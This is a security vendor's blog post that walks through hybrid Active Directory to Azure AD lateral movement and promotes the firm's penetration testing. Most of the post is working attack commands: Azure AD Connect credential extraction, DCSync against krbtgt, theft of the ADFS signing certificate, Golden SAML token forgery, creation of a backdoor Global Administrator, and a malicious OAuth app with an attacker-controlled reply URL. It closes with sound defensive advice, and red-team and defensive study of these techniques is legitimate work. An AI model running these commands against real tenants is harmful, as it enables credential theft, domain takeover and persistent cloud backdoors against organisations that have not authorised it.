Date
January 25, 2026
Author
Karan Patel
,
CEO

Modern enterprises rarely live in a single environment. The majority of organizations today operate in a hybrid model, where on-premises Active Directory (AD) sits alongside Azure Active Directory (now Microsoft Entra ID), connected through synchronization services, federated trust, and identity bridges. This architecture introduces a dangerous attack surface that adversaries actively exploit: lateral movement from on-premises infrastructure directly into cloud resources.

This blog breaks down exactly how that happens, what the commands look like in the hands of an attacker, and what defenders need to know to detect and prevent it.

If your organization operates in a hybrid Azure environment and you have not tested these attack paths, your identity perimeter may already be compromised. Get a professional penetration test from Redfox Cybersecurity to find out before the attackers do.

What Is Azure Hybrid Identity

Azure Hybrid Identity refers to the configuration that lets organizations use a single user identity across both on-premises Active Directory and Azure AD. This is typically achieved through one of three mechanisms:

Password Hash Synchronization (PHS): User password hashes are synced from on-prem AD to Azure AD. Authentication happens in the cloud using the synchronized hash.

Pass-Through Authentication (PTA): Authentication requests from the cloud are passed back to on-premises AD agents for validation. No password data is stored in Azure AD.

Active Directory Federation Services (ADFS): A federated trust is established between on-prem AD and Azure AD using SAML tokens or WS-Federation. Tokens are issued by on-premises ADFS servers.

Each of these introduces unique attack vectors that threat actors have exploited in real-world breaches, including nation-state attacks like Solorigate and APT29 campaigns.

Why Hybrid Identity Is a Prime Attack Surface

The fundamental problem with hybrid identity is trust inheritance. When an identity is trusted in on-premises AD, that trust can extend automatically into Azure AD, and from there into cloud applications, Microsoft 365, Azure resources, and third-party SaaS platforms.

An attacker who compromises a single on-premises account or server can, under the right conditions, pivot all the way into cloud-hosted data, administrative portals, and service principals with elevated permissions. This makes hybrid identity lateral movement one of the highest-impact techniques in modern adversarial tradecraft.

Before going further: if your team is responsible for securing a hybrid environment, consider engaging Redfox Cybersecurity for a hybrid identity penetration test. Understanding your exposure is the first step.

Stage One: Gaining a Foothold in On-Prem Active Directory

Attackers typically begin by compromising an on-premises endpoint, service account, or domain user. Common initial access techniques include phishing, credential stuffing, and exploiting exposed services like RDP or Kerberos.

Once inside, enumeration begins.

Enumerating the Domain with BloodHound

BloodHound is the industry-standard tool for mapping AD attack paths. After deploying SharpHound to collect data:

# Run SharpHound collector
.\SharpHound.exe -c All --outputdirectory C:\temp\bh

# Or using the PowerShell version
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp\bh

[cta]

This collects group memberships, ACLs, session data, and trust relationships. Attackers import the resulting JSON files into BloodHound to identify paths to Domain Admin, Azure AD Connect servers, or ADFS servers.

Identifying Azure AD Connect Servers

Azure AD Connect is the synchronization engine between on-prem AD and Azure AD. It is one of the most valuable targets in a hybrid environment because it holds credentials capable of writing to both directories.

# Find Azure AD Connect server via LDAP
Get-ADObject -Filter {objectClass -eq "msDS-DeviceRegistrationServiceContainer"} -Properties *

# Alternatively, look for the MSOL_ service account
Get-ADUser -Filter {SamAccountName -like "MSOL_*"} -Properties *

[cta]

The MSOL_ account (or ADSync account) has replication rights on the domain. If an attacker can extract its credentials, they can perform DCSync attacks and potentially escalate to full domain compromise.

Stage Two: Extracting Credentials from Azure AD Connect

This is where the attack becomes critical. Azure AD Connect stores credentials in an encrypted local database. Tools like AADInternals and adconnectdump can extract these credentials if the attacker has local admin on the sync server.

Extracting MSOL Credentials with AADInternals

# Install AADInternals
Install-Module AADInternals

# Extract Azure AD Connect credentials (run as local admin on the sync server)
Import-Module AADInternals
Get-AADIntSyncCredentials

[cta]

A successful extraction returns the username and plaintext password of the MSOL_ account, which has domain replication privileges. This enables DCSync without touching Domain Controllers directly.

Performing DCSync with Extracted Credentials

# Using secretsdump from Impacket
python3 secretsdump.py DOMAIN/MSOL_account:password@dc01.domain.local

# Or using Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt

[cta]

At this point, the attacker has the NTLM hash of the krbtgt account, enabling Golden Ticket creation and persistent domain-level access.

Need to know if your Azure AD Connect server is exposed to this attack path? Redfox Cybersecurity offers targeted hybrid identity assessments that simulate exactly these techniques in a controlled environment.

Stage Three: Moving into Azure AD

With credentials or token-forging capability in hand, attackers can now authenticate directly to Azure AD or manipulate cloud-side objects via the sync service.

Authenticating to Azure AD Using Extracted Credentials

# Connect to Azure AD with compromised credentials
Connect-AzureAD -Credential (Get-Credential)

# Or using the Az module
Connect-AzAccount

# Enumerate Azure AD users and privileged roles
Get-AzureADDirectoryRole | ForEach-Object {
   $role = $_
   Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | Select-Object DisplayName, UserPrincipalName, @{N="Role";E={$role.DisplayName}}
}

[cta]

Enumerating Service Principals and App Registrations

Service principals are the cloud equivalent of service accounts, and they are frequently over-privileged.

# List all service principals with their assigned permissions
Get-AzureADServicePrincipal -All $true | Select-Object DisplayName, AppId, AccountEnabled

# Find service principals with Microsoft Graph API permissions
Get-AzureADServicePrincipal -All $true | ForEach-Object {
   $sp = $_
   $permissions = Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId
   if ($permissions) {
       [PSCustomObject]@{
           ServicePrincipal = $sp.DisplayName
           Permissions = ($permissions | Select-Object -ExpandProperty PrincipalDisplayName) -join ", "
       }
   }
}

[cta]

Attackers look for service principals with roles like Global Administrator, Application Administrator, or Privileged Role Administrator, which can be used to create backdoor accounts or consent to malicious OAuth applications.

Stage Four: Abusing ADFS for Token Forgery

In environments using ADFS, attackers who compromise the ADFS server can forge SAML tokens for any user in the organization without knowing their password. This is the technique used in the SolarWinds breach.

Extracting the ADFS Token Signing Certificate

# On the ADFS server, extract the token signing certificate (requires admin access)
Import-Module AADInternals

# Export the ADFS configuration
Export-AADIntADFSCertificates

# Or extract directly using .NET
$adfs = Get-AdfsProperties
$cert = (Get-AdfsCertificate -CertificateType Token-Signing)[0]
$cert.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password") | Set-Content -Path "adfs_signing.pfx" -Encoding Byte

[cta]

Forging a SAML Token (Golden SAML)

With the token signing certificate, an attacker can create SAML assertions for any user including cloud-only Global Administrators who have no on-premises representation:

# Using AADInternals to create a Golden SAML token
$cert = Get-PfxCertificate -FilePath "adfs_signing.pfx" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)

# Generate a SAML token for a target user
$samlToken = New-AADIntSAMLToken -UserName "globaladmin@tenant.onmicrosoft.com" -Certificate $cert -Issuer "http://adfs.domain.local/adfs/services/trust"

# Use the token to authenticate to Azure AD
Open-AADIntOffice365WithSAMLToken -SAMLToken $samlToken

[cta]

This grants the attacker an authenticated session as any user in the organization, with no password required and no MFA challenge triggered.

This category of attack is why ADFS environments deserve dedicated adversarial testing. Contact Redfox Cybersecurity to assess your ADFS deployment against Golden SAML and token forgery techniques.

Stage Five: Persistence and Impact in the Cloud

Once inside Azure AD with elevated privileges, attackers establish persistence to survive remediation attempts.

Creating a Backdoor Global Administrator

# Create a new privileged user
New-AzureADUser -DisplayName "Support Account" -UserPrincipalName "support.admin@tenant.onmicrosoft.com" -PasswordProfile (New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile -Property @{Password="Str0ngP@ss!"; ForceChangePasswordNextLogin=$false}) -AccountEnabled $true

# Assign Global Administrator role
$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId (Get-AzureADUser -ObjectId "support.admin@tenant.onmicrosoft.com").ObjectId

[cta]

Registering a Malicious OAuth Application

Attackers also register OAuth applications with broad permissions to maintain access even after account passwords are reset:

# Register a new application
$app = New-AzureADApplication -DisplayName "Enterprise Monitoring Tool" -ReplyUrls "https://attacker-controlled.com/callback"

# Create a service principal for the app
$sp = New-AzureADServicePrincipal -AppId $app.AppId

# Add a client secret
$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId -CustomKeyIdentifier "BackdoorSecret" -EndDate (Get-Date).AddYears(2)

[cta]

This backdoor persists as long as the application registration exists, regardless of password changes or MFA enforcement on user accounts.

Key Defensive Measures

Understanding the attack path is only useful if it informs better defenses. Organizations running hybrid environments should prioritize the following:

Protect Azure AD Connect aggressively. The sync server should be treated as a Tier 0 asset, equivalent to a Domain Controller. Restrict local administrator access, enable credential guard, and monitor for unusual process execution on this system.

Enable Privileged Identity Management (PIM). Just-in-time access for Global Administrator and other privileged Azure AD roles dramatically reduces the window of exposure if credentials are compromised.

Monitor for DCSync behavior. Alert on event ID 4662 with the GUID for DS-Replication-Get-Changes-All. Any account performing replication that is not a legitimate Domain Controller warrants immediate investigation.

Audit service principal permissions regularly. Use the Azure AD Access Review feature or scripted audits to identify over-privileged app registrations and service principals. Remove permissions that are not actively required.

Deploy Azure AD Identity Protection. This service detects anomalous sign-in behavior, token anomalies, and leaked credentials in near real-time and can enforce Conditional Access responses automatically.

Rotate the ADFS token signing certificate periodically. Certificate rotation limits the window during which a stolen certificate can be used for Golden SAML attacks. Consider migrating to Managed Authentication (PHS or PTA) to eliminate ADFS entirely.

Why Professional Testing Matters

Reading about these attack techniques is valuable. Validating whether your specific environment is vulnerable to them is essential.

Hybrid identity attack paths are notoriously environment-specific. A misconfigured ACL, an overly permissive service principal, or an unpatched ADFS server can exist in your environment right now without triggering a single alert. The only reliable way to know is adversarial simulation by professionals who think and operate like real attackers.

Redfox Cybersecurity specializes in offensive security engagements, including hybrid identity penetration testing, Active Directory attack path analysis, Azure security assessments, and red team operations. Their team maps your actual environment, simulates real-world lateral movement scenarios, and delivers findings you can act on immediately.

Closing Thoughts

Azure Hybrid Identity is a powerful capability that most enterprises depend on daily. It is also a bridge that attackers cross regularly in sophisticated intrusions. The techniques covered in this blog, from MSOL credential extraction and DCSync to Golden SAML token forgery and OAuth backdoors, represent active, documented attack chains used in real breaches.

The attack surface is not theoretical. The commands exist. The tooling is freely available. And the organizations that have not tested these paths are the ones that find out about them in an incident report rather than a pentest finding.

Do not wait for that moment. Engage Redfox Cybersecurity to test your hybrid identity environment before a real adversary does. A single engagement can surface attack paths that have been sitting dormant in your environment for months, giving you the opportunity to close them on your terms.

Copy Code